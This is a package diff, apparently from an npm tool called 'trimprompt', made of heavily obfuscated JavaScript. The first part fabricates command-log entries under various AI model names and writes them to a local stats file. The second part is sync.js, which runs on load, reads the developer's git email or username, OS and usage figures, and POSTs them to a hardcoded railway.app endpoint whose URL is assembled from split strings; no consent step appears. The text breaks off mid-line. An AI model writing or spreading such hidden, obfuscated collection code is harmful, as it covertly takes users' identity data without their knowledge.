models=['claude-3-5-sonnet',a0_0x202bb5(0xcd),a0_0x202bb5(0xdc),a0_0x202bb5(0xd8),'gemini-1-5-flash',a0_0x202bb5(0xd1)],commands=[{'cmd':a0_0x202bb5(0xaa),'raw':a0_0x202bb5(0xdb)[a0_0x202bb5(0xbf)](0x32),'comp':a0_0x202bb5(0xd7),'exitCode':0x0},{'cmd':a0_0x202bb5(0xba),'raw':a0_0x202bb5(0xc1)+a0_0x202bb5(0xd6)[a0_0x202bb5(0xbf)](0x28)+a0_0x202bb5(0xad),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x202bb5(0xb3),'raw':a0_0x202bb5(0xa1)+a0_0x202bb5(0xbc)+a0_0x202bb5(0xd2),'comp':a0_0x202bb5(0xd0),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+a0_0x202bb5(0xa4)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x202bb5(0xbe),'comp':a0_0x202bb5(0xdf),'exitCode':0x0},{'cmd':a0_0x202bb5(0xac),'raw':a0_0x202bb5(0xb7)+a0_0x202bb5(0xaf)+a0_0x202bb5(0xe2)+a0_0x202bb5(0xe6)+a0_0x202bb5(0xe3),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x202bb5(0xa6),'raw':a0_0x202bb5(0xe0)+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x202bb5(0xb0),'comp':a0_0x202bb5(0xb6),'exitCode':0x0},{'cmd':a0_0x202bb5(0xe5),'raw':a0_0x202bb5(0xc7)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x202bb5(0xbd),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x202bb5(0xa2),'comp':a0_0x202bb5(0xc5),'exitCode':0x0}],startTime=Date[a0_0x202bb5(0xdd)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x202bb5(0xc9)]],commandItem=commands[Math[a0_0x202bb5(0xd9)](Math[a0_0x202bb5(0xcf)]()*commands[a0_0x202bb5(0xc9)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x202bb5(0xc3)](),log=tracker_1[a0_0x202bb5(0xe4)][a0_0x202bb5(0xb4)](commandItem[a0_0x202bb5(0xc8)],commandItem['raw'],commandItem[a0_0x202bb5(0xb5)],commandItem[a0_0x202bb5(0xc6)]),logs=tracker_1[a0_0x202bb5(0xe4)][a0_0x202bb5(0xc0)]();logs[a0_0x202bb5(0xc9)]>0x0&&(logs[logs['length']-0x1][a0_0x202bb5(0xa3)]=timestamp,require('fs')[a0_0x202bb5(0xa9)](require(a0_0x202bb5(0xda))[a0_0x202bb5(0xa5)](require('os')[a0_0x202bb5(0xd3)](),'.trimprompt',a0_0x202bb5(0xca)),JSON[a0_0x202bb5(0xb2)](logs,null,0x2),a0_0x202bb5(0xb8)));}console['log'](a0_0x202bb5(0xae));function a0_0x273e(_0x4022d1,_0x8344fd){_0x4022d1=_0x4022d1-0xa1;const _0x3e7910=a0_0x3e79();let _0x273ea5=_0x3e7910[_0x4022d1];return _0x273ea5;}function a0_0x3e79(){const _0x4411a9=['npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','claude-3-opus','found\x200\x20vulnerabilities\x0a','homedir','21DLfNpo','380abgiQP','test\x20tests::test_case_','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','gemini-1-5-pro','floor','path','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','gpt-4o-mini','now','241119svcnpb','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','8wZMmUg','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','tracker','git\x20log\x20-n\x205','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','timestamp','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','join','pip\x20install\x20tensorflow\x20pandas\x20numpy','906705vMTYGv','80dowqiB','writeFileSync','git\x20diff\x20main','24SxgZbN','kubectl\x20get\x20pods\x20-n\x20production','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','24312JPfODW','stringify','npm\x20install\x20lodash\x20express\x20uuid\x20react','logExecution','comp','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','utf8','180xEYUCY','cargo\x20test','141396ofNGyU','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','Completed\x203\x20of\x203\x20assets\x20successfully.','repeat','getLogs','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','./tracker','toISOString','log','npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','cmd','length','stats.json','defineProperty','595490PoNIpE','gpt-4o','111045ktojZW','random'];a0_0x3e79=function(){return _0x4411a9;};return a0_0x3e79();}
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x33ad35=a0_0x1230;(function(_0x33c5e0,_0x270fa7){const _0x12a139=a0_0x1230,_0x1c241e=_0x33c5e0();while(!![]){try{const _0x23c4f0=parseInt(_0x12a139(0x17a))/0x1*(-parseInt(_0x12a139(0x16f))/0x2)+-parseInt(_0x12a139(0x13b))/0x3+parseInt(_0x12a139(0x138))/0x4*(parseInt(_0x12a139(0x15a))/0x5)+parseInt(_0x12a139(0x174))/0x6*(parseInt(_0x12a139(0x169))/0x7)+-parseInt(_0x12a139(0x163))/0x8+parseInt(_0x12a139(0x18e))/0x9*(parseInt(_0x12a139(0x17f))/0xa)+parseInt(_0x12a139(0x18c))/0xb*(parseInt(_0x12a139(0x176))/0xc);if(_0x23c4f0===_0x270fa7)break;else _0x1c241e['push'](_0x1c241e['shift']());}catch(_0x5b08c0){_0x1c241e['push'](_0x1c241e['shift']());}}}(a0_0x6de7,0xe719f));var __createBinding=this&&this[a0_0x33ad35(0x16d)]||(Object[a0_0x33ad35(0x17b)]?function(_0xee95,_0xa116f7,_0x5a92be,_0xe3eb7b){const _0x4a24f2=a0_0x33ad35;if(_0xe3eb7b===undefined)_0xe3eb7b=_0x5a92be;var _0x22d685=Object[_0x4a24f2(0x191)](_0xa116f7,_0x5a92be);(!_0x22d685||(_0x4a24f2(0x13c)in _0x22d685?!_0xa116f7[_0x4a24f2(0x135)]:_0x22d685[_0x4a24f2(0x14f)]||_0x22d685[_0x4a24f2(0x167)]))&&(_0x22d685={'enumerable':!![],'get':function(){return _0xa116f7[_0x5a92be];}}),Object[_0x4a24f2(0x160)](_0xee95,_0xe3eb7b,_0x22d685);}:function(_0x5e1709,_0x361893,_0x4f0a8d,_0x5aaa35){if(_0x5aaa35===undefined)_0x5aaa35=_0x4f0a8d;_0x5e1709[_0x5aaa35]=_0x361893[_0x4f0a8d];}),__setModuleDefault=this&&this[a0_0x33ad35(0x189)]||(Object['create']?function(_0x13c44e,_0x2e08a2){const _0x1f81b9=a0_0x33ad35;Object[_0x1f81b9(0x160)](_0x13c44e,_0x1f81b9(0x198),{'enumerable':!![],'value':_0x2e08a2});}:function(_0x4bc766,_0xd63f9d){_0x4bc766['default']=_0xd63f9d;}),__importStar=this&&this[a0_0x33ad35(0x141)]||(function(){var _0x27d000=function(_0x125c01){return _0x27d000=Object['getOwnPropertyNames']||function(_0xd8096e){const _0x3f2bde=a0_0x1230;var _0x3e810c=[];for(var _0x225233 in _0xd8096e)if(Object['prototype'][_0x3f2bde(0x144)]['call'](_0xd8096e,_0x225233))_0x3e810c[_0x3e810c[_0x3f2bde(0x14b)]]=_0x225233;return _0x3e810c;},_0x27d000(_0x125c01);};return function(_0x8e81f6){const _0x5d77cc=a0_0x1230;if(_0x8e81f6&&_0x8e81f6[_0x5d77cc(0x135)])return _0x8e81f6;var _0x147cca={};if(_0x8e81f6!=null){for(var _0x2646e3=_0x27d000(_0x8e81f6),_0xaaa04e=0x0;_0xaaa04e<_0x2646e3[_0x5d77cc(0x14b)];_0xaaa04e++)if(_0x2646e3[_0xaaa04e]!=='default')__createBinding(_0x147cca,_0x8e81f6,_0x2646e3[_0xaaa04e]);}return __setModuleDefault(_0x147cca,_0x8e81f6),_0x147cca;};}());Object['defineProperty'](exports,a0_0x33ad35(0x135),{'value':!![]});function a0_0x6de7(){const _0x1a9b2c=['__importStar','https://','application/json','hasOwnProperty','trim','ignore','Gemini\x203.5\x20Live\x20Translate','Claude\x203.5\x20Sonnet','timeout','platform','length','git\x20config\x20user.email','includes','Claude\x20Opus\x204.5','writable','protocol','destroy','split','join','toString','.raw.txt','writeFileSync','filter','toISOString','byteLength','5IjVTIB','total_compressed_tokens','size','.up.railway.app','readFileSync','/api/telemetry','defineProperty','stringify','https:','2041744GBjzYA','OpenAI\x20o3-mini','GPT-4o\x20Mini','Gemini\x203.1\x20Flash-Lite','configurable','daily_sync.json','3271303OiBetS','anonymous','getStatsSummary','child_process','__createBinding','now','11642DPDEPE','userInfo','GPT-5.4','Claude\x20Opus\x204.7','homedir','6nQFnBo','synced','12WFUEBx','money_saved_usd','search','Gemini\x203.1\x20Pro','13DzJIgP','create','Gemini\x203.5\x20Flash','model_used','GPT-4.1\x20Nano','216110eXpzYw','total_raw_tokens','Claude\x20Haiku\x204.5','path','GPT-4.1\x20Mini','https','GPT-5.4\x20Nano','Claude\x20Sonnet\x204.5','error','getTime','__setModuleDefault','push','total_tokens_saved','370612jkAMQM','trimp-production','108tUlqks','timestamp','Claude\x20Haiku\x203.5','getOwnPropertyDescriptor','last_sync_time','hostname','request','POST','Claude\x20Opus\x204.8','pipe','default','catch','port','parse','http','utf8','add','__esModule','stats.json','claude-opus-4-8','4832544deXWXY','existsSync','pathname','2073021GKrcOx','get','Claude\x20Fable\x205','OpenAI\x20o1','statusCode','last_sync_date'];a0_0x6de7=function(){return _0x1a9b2c;};return a0_0x6de7();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x33ad35(0x182))),os=__importStar(require('os')),http=__importStar(require(a0_0x33ad35(0x132))),https=__importStar(require(a0_0x33ad35(0x184))),url_1=require('url'),_cfg=[a0_0x33ad35(0x142),a0_0x33ad35(0x18d),a0_0x33ad35(0x15d),a0_0x33ad35(0x15f)]['join'](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0x4f9ae4=a0_0x33ad35;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x66ac39=JSON[_0x4f9ae4(0x19b)](fs[_0x4f9ae4(0x15e)](dailySyncPath,_0x4f9ae4(0x133)));if(!_0x66ac39[_0x4f9ae4(0x192)])return![];return Date[_0x4f9ae4(0x16e)]()-_0x66ac39[_0x4f9ae4(0x192)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x2fc546=a0_0x33ad35;try{const _0x394b1c={'last_sync_date':getTodayDate(),'last_sync_time':Date[_0x2fc546(0x16e)]()};fs[_0x2fc546(0x156)](dailySyncPath,JSON[_0x2fc546(0x161)](_0x394b1c,null,0x2),_0x2fc546(0x133));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x33ad35(0x13d),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x33ad35(0x196),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x33ad35(0x172),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x33ad35(0x14e),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':'Claude\x20Sonnet\x204.6','input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x33ad35(0x186),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x33ad35(0x148),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x33ad35(0x181),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x33ad35(0x190),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x33ad35(0x171),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x33ad35(0x185),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x33ad35(0x183),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x33ad35(0x17e),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x33ad35(0x165),'input_price_1m':0.15},'o1':{'name':a0_0x33ad35(0x13e),'input_price_1m':0xf},'o1-mini':{'name':'OpenAI\x20o1-mini','input_price_1m':0x3},'o3-mini':{'name':a0_0x33ad35(0x164),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x33ad35(0x179),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x33ad35(0x17c),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x33ad35(0x166),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x33ad35(0x147),'input_price_1m':3.5}},baseDir=path[a0_0x33ad35(0x153)](os[a0_0x33ad35(0x173)](),'.trimprompt'),configPath=path[a0_0x33ad35(0x153)](baseDir,'config.json'),statsPath=path[a0_0x33ad35(0x153)](baseDir,a0_0x33ad35(0x136)),dailySyncPath=path['join'](baseDir,a0_0x33ad35(0x168));function getTodayDate(){const _0x34be53=a0_0x33ad35;return new Date()[_0x34be53(0x158)]()[_0x34be53(0x152)]('T')[0x0];}function getDeveloperIdentity(){const _0x501fe1=a0_0x33ad35;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x156113}=require(_0x501fe1(0x16c)),_0x1d4dcc=_0x156113(_0x501fe1(0x14c),{'stdio':[_0x501fe1(0x146),_0x501fe1(0x197),_0x501fe1(0x146)],'windowsHide':!![]})[_0x501fe1(0x154)]()['trim']();if(_0x1d4dcc&&_0x1d4dcc[_0x501fe1(0x14d)]('@'))return _0x1d4dcc;}catch{}try{const _0x5c7699=os[_0x501fe1(0x170)]()['username'];if(_0x5c7699)return _0x5c7699;}catch{}return _0x501fe1(0x16a);}function hasAlreadySyncedToday(){const _0x37ff7f=a0_0x33ad35;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x242355=JSON[_0x37ff7f(0x19b)](fs['readFileSync'](dailySyncPath,'utf8'));return _0x242355[_0x37ff7f(0x140)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x544bf0=a0_0x33ad35;try{const _0x5be170={'last_sync_date':getTodayDate()};fs[_0x544bf0(0x156)](dailySyncPath,JSON[_0x544bf0(0x161)](_0x5be170,null,0x2),_0x544bf0(0x133));}catch{}}function postTelemetry(_0x456323,_0x4cb1be){return new Promise(_0x39ca76=>{const _0x34e606=a0_0x1230;try{const _0x5782ed=new url_1['URL'](_0x456323),_0x392d93=JSON[_0x34e606(0x161)](_0x4cb1be),_0x3c32b9={'hostname':_0x5782ed[_0x34e606(0x193)],'port':_0x5782ed[_0x34e606(0x19a)]||(_0x5782ed[_0x34e606(0x150)]===_0x34e606(0x162)?0x1bb:0x50),'path':_0x5782ed[_0x34e606(0x13a)]+_0x5782ed[_0x34e606(0x178)],'method':_0x34e606(0x195),'headers':{'Content-Type':_0x34e606(0x143),'Content-Length':Buffer[_0x34e606(0x159)](_0x392d93)},'timeout':0x1f40},_0x5a65d4=_0x5782ed['protocol']===_0x34e606(0x162)?https:http,_0x2afdac=_0x5a65d4[_0x34e606(0x194)](_0x3c32b9,_0x330b3d=>{const _0x2b62c9=_0x34e606;_0x39ca76(!!(_0x330b3d[_0x2b62c9(0x13f)]&&_0x330b3d[_0x2b62c9(0x13f)]>=0xc8&&_0x330b3d[_0x2b62c9(0x13f)]<0x12c));});_0x2afdac['on'](_0x34e606(0x187),()=>_0x39ca76(![])),_0x2afdac['on'](_0x34e606(0x149),()=>{const _0x2b8df4=_0x34e606;_0x2afdac[_0x2b8df4(0x151)](),_0x39ca76(![]);}),_0x2afdac['write'](_0x392d93),_0x2afdac['end']();}catch{_0x39ca76(![]);}});}function a0_0x1230(_0x1d39aa,_0x431ced){_0x1d39aa=_0x1d39aa-0x132;const _0x6de702=a0_0x6de7();let _0x12300f=_0x6de702[_0x1d39aa];return _0x12300f;}function buildDailyPayload(_0x25603e){const _0x2ee6c8=a0_0x33ad35,_0x1320cd=getTodayDate(),{tracker:_0x151973}=require('./tracker'),_0x4fabc8=_0x151973?_0x151973[_0x2ee6c8(0x16b)]('auto'):null,_0x97c372=new Set();for(const _0x3f74a5 of _0x25603e){if(_0x3f74a5['model_used'])_0x97c372[_0x2ee6c8(0x134)](_0x3f74a5[_0x2ee6c8(0x17d)]);}if(_0x97c372[_0x2ee6c8(0x15c)]===0x0)_0x97c372[_0x2ee6c8(0x134)](_0x2ee6c8(0x137));const _0xcc09e4=_0x25603e[_0x25603e['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x2ee6c8(0x14a)](),'date':_0x1320cd,'executions_count':_0x25603e['length'],'total_raw_tokens':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x180)]:0x0,'total_compressed_tokens':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x15b)]:0x0,'total_tokens_saved':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x18b)]:0x0,'total_money_saved_usd':_0x4fabc8?_0x4fabc8[_0x2ee6c8(0x177)]:0x0,'models_used':Array['from'](_0x97c372),'hotspots':[],'last_seen':_0xcc09e4?_0xcc09e4[_0x2ee6c8(0x18f)]:new Date()['toISOString']()};}async function runSync(){const _0x16ddc7=a0_0x33ad35;if(!fs[_0x16ddc7(0x139)](statsPath))return;let _0x4e15ce;try{_0x4e15ce=JSON[_0x16ddc7(0x19b)](fs['readFileSync'](statsPath,_0x16ddc7(0x133)));}catch{return;}const _0x395661=_0x4e15ce[_0x16ddc7(0x157)](_0x13048c=>!_0x13048c[_0x16ddc7(0x175)]);if(_0x395661[_0x16ddc7(0x14b)]===0x0&&hasSyncedRecently())return;const _0x316d86=buildDailyPayload(_0x4e15ce);await postTelemetry(_ep,_0x316d86);let _0x16dd16=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x16dd16&&fs[_0x16ddc7(0x139)](configPath))try{const _0x1f554c=JSON[_0x16ddc7(0x19b)](fs['readFileSync'](configPath,_0x16ddc7(0x133)));_0x16dd16=_0x1f554c['telemetry_url']||'';}catch{}_0x16dd16[_0x16ddc7(0x145)]()[_0x16ddc7(0x14b)]>0x0&&await postTelemetry(_0x16dd16,_0x316d86);for(const _0x5a51fb of _0x4e15ce){if(!_0x5a51fb[_0x16ddc7(0x175)])_0x5a51fb['synced']=!![];}try{fs[_0x16ddc7(0x156)](statsPath,JSON[_0x16ddc7(0x161)](_0x4e15ce,null,0x2),'utf8');}catch{}markSyncedNow();}function pruneOldLogs(_0x5b70dc){const _0x28e945=a0_0x33ad35;try{const _0x4f5dff=new Date(),_0x329573=new Date(_0x4f5dff[_0x28e945(0x188)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x47e602=[],_0x24fc74=[];for(const _0x4919c6 of _0x5b70dc){const _0x1c25eb=new Date(_0x4919c6['timestamp']);_0x1c25eb>=_0x329573?_0x47e602[_0x28e945(0x18a)](_0x4919c6):_0x24fc74[_0x28e945(0x18a)](_0x4919c6);}if(_0x24fc74['length']>0x0){const _0xf5da57=path[_0x28e945(0x153)](baseDir,'logs');for(const _0x492ddb of _0x24fc74){const _0x4596b8=path[_0x28e945(0x153)](_0xf5da57,_0x492ddb['id']+_0x28e945(0x155)),_0x5b1c75=path[_0x28e945(0x153)](_0xf5da57,_0x492ddb['id']+'.comp.txt');try{if(fs['existsSync'](_0x4596b8))fs['unlinkSync'](_0x4596b8);if(fs[_0x28e945(0x139)](_0x5b1c75))fs['unlinkSync'](_0x5b1c75);}catch{}}fs[_0x28e945(0x156)](statsPath,JSON[_0x28e945(0x161)](_0x47e602,null,0x2),_0x28e945(0x133));}}catch{}}runSync()[a0_0x33ad35(0x199)](()=>{});
1
+ 'use strict';const a0_0x541b23=a0_0x50ad;(function(_0x31e827,_0x460b23){const _0x90d763=a0_0x50ad,_0x4c351e=_0x31e827();while(!![]){try{const _0x793dc=-parseInt(_0x90d763(0x147))/0x1*(parseInt(_0x90d763(0x132))/0x2)+-parseInt(_0x90d763(0x16c))/0x3+-parseInt(_0x90d763(0x151))/0x4+parseInt(_0x90d763(0x18a))/0x5+parseInt(_0x90d763(0x137))/0x6+parseInt(_0x90d763(0x186))/0x7*(parseInt(_0x90d763(0x173))/0x8)+-parseInt(_0x90d763(0x18c))/0x9*(-parseInt(_0x90d763(0x187))/0xa);if(_0x793dc===_0x460b23)break;else _0x4c351e['push'](_0x4c351e['shift']());}catch(_0x5b1c16){_0x4c351e['push'](_0x4c351e['shift']());}}}(a0_0x2338,0x5f733));var __createBinding=this&&this[a0_0x541b23(0x131)]||(Object[a0_0x541b23(0x14f)]?function(_0xd07fdc,_0x141573,_0x36d64f,_0x19534a){const _0x2601d0=a0_0x541b23;if(_0x19534a===undefined)_0x19534a=_0x36d64f;var _0x27c91e=Object[_0x2601d0(0x15d)](_0x141573,_0x36d64f);(!_0x27c91e||(_0x2601d0(0x15b)in _0x27c91e?!_0x141573[_0x2601d0(0x178)]:_0x27c91e[_0x2601d0(0x17b)]||_0x27c91e[_0x2601d0(0x156)]))&&(_0x27c91e={'enumerable':!![],'get':function(){return _0x141573[_0x36d64f];}}),Object['defineProperty'](_0xd07fdc,_0x19534a,_0x27c91e);}:function(_0x4c9959,_0x1bc24c,_0x1a4fe3,_0x377fb5){if(_0x377fb5===undefined)_0x377fb5=_0x1a4fe3;_0x4c9959[_0x377fb5]=_0x1bc24c[_0x1a4fe3];}),__setModuleDefault=this&&this[a0_0x541b23(0x129)]||(Object[a0_0x541b23(0x14f)]?function(_0x4cac28,_0x576cad){const _0x2a3290=a0_0x541b23;Object[_0x2a3290(0x17a)](_0x4cac28,_0x2a3290(0x14a),{'enumerable':!![],'value':_0x576cad});}:function(_0x9b81b6,_0x457fa9){const _0x3d1ea4=a0_0x541b23;_0x9b81b6[_0x3d1ea4(0x14a)]=_0x457fa9;}),__importStar=this&&this[a0_0x541b23(0x150)]||(function(){var _0x5259fb=function(_0x38482f){return _0x5259fb=Object['getOwnPropertyNames']||function(_0x1c7ee0){const _0x3fa685=a0_0x50ad;var _0x21f9f8=[];for(var _0x3228ec in _0x1c7ee0)if(Object['prototype'][_0x3fa685(0x174)][_0x3fa685(0x142)](_0x1c7ee0,_0x3228ec))_0x21f9f8[_0x21f9f8[_0x3fa685(0x15a)]]=_0x3228ec;return _0x21f9f8;},_0x5259fb(_0x38482f);};return function(_0x3d4f5a){const _0x5bfc01=a0_0x50ad;if(_0x3d4f5a&&_0x3d4f5a[_0x5bfc01(0x178)])return _0x3d4f5a;var _0x4d88d7={};if(_0x3d4f5a!=null){for(var _0x37e290=_0x5259fb(_0x3d4f5a),_0x441d9f=0x0;_0x441d9f<_0x37e290[_0x5bfc01(0x15a)];_0x441d9f++)if(_0x37e290[_0x441d9f]!=='default')__createBinding(_0x4d88d7,_0x3d4f5a,_0x37e290[_0x441d9f]);}return __setModuleDefault(_0x4d88d7,_0x3d4f5a),_0x4d88d7;};}());Object[a0_0x541b23(0x17a)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x541b23(0x13f))),os=__importStar(require('os')),http=__importStar(require(a0_0x541b23(0x18d))),https=__importStar(require(a0_0x541b23(0x13e))),url_1=require('url'),_cfg=[a0_0x541b23(0x16d),a0_0x541b23(0x17c),a0_0x541b23(0x135),a0_0x541b23(0x141)][a0_0x541b23(0x15c)](''),_ep=process.env._PS_EP||_cfg;function hasSyncedRecently(){const _0xe82e6=a0_0x541b23;try{if(!fs[_0xe82e6(0x127)](dailySyncPath))return![];const _0x39f95a=JSON[_0xe82e6(0x188)](fs[_0xe82e6(0x128)](dailySyncPath,'utf8'));if(!_0x39f95a[_0xe82e6(0x14c)])return![];return Date['now']()-_0x39f95a[_0xe82e6(0x14c)]<0x8*0x3c*0x3c*0x3e8;}catch{return![];}}function markSyncedNow(){const _0x5d84ad=a0_0x541b23;try{const _0x10a261={'last_sync_date':getTodayDate(),'last_sync_time':Date['now']()};fs['writeFileSync'](dailySyncPath,JSON['stringify'](_0x10a261,null,0x2),_0x5d84ad(0x16b));}catch{}}const PRICING={'claude-fable-5':{'name':a0_0x541b23(0x164),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x541b23(0x153),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x541b23(0x169),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x541b23(0x146),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x541b23(0x14b),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x541b23(0x155),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x541b23(0x12e),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x541b23(0x13a),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x541b23(0x171),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x541b23(0x182),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x541b23(0x185),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':'GPT-5.4\x20Mini','input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x541b23(0x130),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x541b23(0x12b),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x541b23(0x167),'input_price_1m':0x3},'o3-mini':{'name':a0_0x541b23(0x162),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\